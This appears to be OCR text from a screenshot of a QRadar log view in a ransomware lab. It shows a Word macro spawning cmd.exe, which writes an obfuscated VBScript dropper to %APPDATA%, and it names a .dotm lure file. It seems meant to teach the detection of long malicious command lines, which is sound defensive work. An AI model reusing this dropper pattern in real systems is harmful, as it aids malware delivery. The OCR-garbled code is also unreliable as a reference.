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Recycle Bin
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Ransomware Lab
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USB Drive with Malicious Word Macro Doc
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® QRadar- Log Activity - Google Chrome
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Command ParentCommandLine longtell

cmd.exe /V /C set \"GSI=%APPDATA%
cmd.exe /V /C set \"GSI=%APPDATA%W

%RANDOM%.vbs\" &amp:&amp; ... \"C:WProgram Files (x86)\\Microsoft Office\/Office 14WINWORD.EXE\V" /n /... | 1011
%RANDOM%_vbs\" 8amp;&amp; ... | 'C:\Program Files (xB6)\Microsoft OfficeOffice 14AWVINWORD.EXEV /n /.| 1011 O n g e >

Command (custom)

EventiD (custom)

Message (custom)

cmd.exe /V /C set \"GSI=%APPDATA%\\%RANDOM% . .vbs\" &amp;&amp; (for %i in (\"Dim RWRL\" \"FuNCtioN GNbiPp(Pt1SSZ1\" \"EYnt=45\" \"GNbIPp=AsC(P15SZ1)\" \"Xn1=52\" \"eNd fuNCHION\" \"SUb
OjrYyDS(\" \"JONepq=56\" \"Dim UJv,G4coQ\" \"LT=23\" \"dO WHILE UJv&it.&gt:3016-3015\" \"G4coQ=G4coQ+1\" \"WSCRIPLsLEeP(11)\" \"LoOP\" \"UsZK0=85\" \"ENd suB\" \"fuNction J7(BLI4A3)\"
"KSAU=29\" \"J7=cHR(BLI4A3)\" \"XBNutM9=36\" \"eNd fuNCHON\" \"SUb MA(QrG)\" \"WXCzRz=9\" \"Dim JWw\" \"Qt7=34\" \"Jw=TIMeR+QrG\" \"Do WhiLE tIMEr&it;JwA" \"WSCRIipT.sleEP(6)\" \"LOOp\"
\"EXdkRkH=78\" \"enD sUB\" \"fUnCTion M1p67jL(BwqIM7 Qa)\" \"YI=80\" \"dIM KH,ChnFY,RX,Pg,CEYT(8)\" \"Cm=7\" \"CEYT(1)=107\" \"Rzf=58\" \"CEYT(5)=115\" \"BSKoW=10\" \"CEYT(4)=56\"
\"Cwd6=35\" \"CEYT(7 )=110\" \"AQ=98\" \"CBYT(6)=100\" \"YECm1I=82\" \"CEYT(2)=103\" \"JH3F2i=74\" \"CBYT(8)=119\" \"JRvsG2s=76\" \"CBYT(3)=53\" \"Yh=31\" \"CEYT(0)=115\" \"GuvD=47\" \"Tbvf1=67\"
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\"C:\\Program Files (x86)\\Microsoft Office\\Office 14\WINWORD.EXE\" /n #\"D:\\Miranda_Tate_unveiled.dotm\"




Related: Finding (very) long command lines
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